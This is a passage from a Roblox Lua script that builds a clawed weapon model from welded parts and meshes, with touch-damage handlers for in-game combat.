  854. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
  855. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
  856. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  857. Claw.Touched:Connect(Damage_OnTouch)
  858. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
  859. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  860. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  861. Claw.Touched:Connect(Damage_OnTouch)
  862. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
  863. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
  864. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  865. Claw.Touched:Connect(Damage_OnTouch)
  866. ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721))
  867. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
  868. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  869. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975))
  870. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  871. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  872. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979))
  873. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  874. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  875. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  876. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  877. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  878. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  879. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  880. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  881. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  882. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  883. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  884. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  885. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  886. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  887. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  888. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  889. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  890. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  891. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  892. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  893. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  894. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  895. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  896. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  897. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  898. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  899. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  900. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  901. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  902. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  903. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  904. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  905. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  906. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  907. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  908. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  909. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  910. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  911. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  912. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  913. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  914. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  915. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  916. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  917. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  918. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  919. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  920. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  921. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  922. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  923. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  924. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  925. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  926. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  927. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  928. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  929. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  930. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  931. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  932. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  933. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  934. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  935. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  936. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  937. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  938. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  939. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  940. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  941. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  942. Part.Touched:Connect(Damage_OnTouch)
  943. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  944. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  945. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  946. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  947. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  948. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  949. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  950. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  951. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  952. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  953. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  954. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  955. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  956. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  957. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  958. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  959. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  960. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  961. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  962. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  963. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  964. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  965. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  966. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  967. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  968. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  969. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  970. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  971. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  972. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  973. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  974. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  975. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  976. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  977. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  978. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  979. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  980. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  981. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  982. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  983. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  984. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  985. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  986. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  987. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  988. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  989. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  990. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  991. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  992. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  993. Shard.Touched:Connect(Damage_OnTouch)
  994. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  995. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  996. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  997. Shard.Touched:Connect(Damage_OnTouch)
  998. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  999. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  1000. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  1001. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  1002. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  1003. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  1004. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  1005. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  1006. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  1007. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
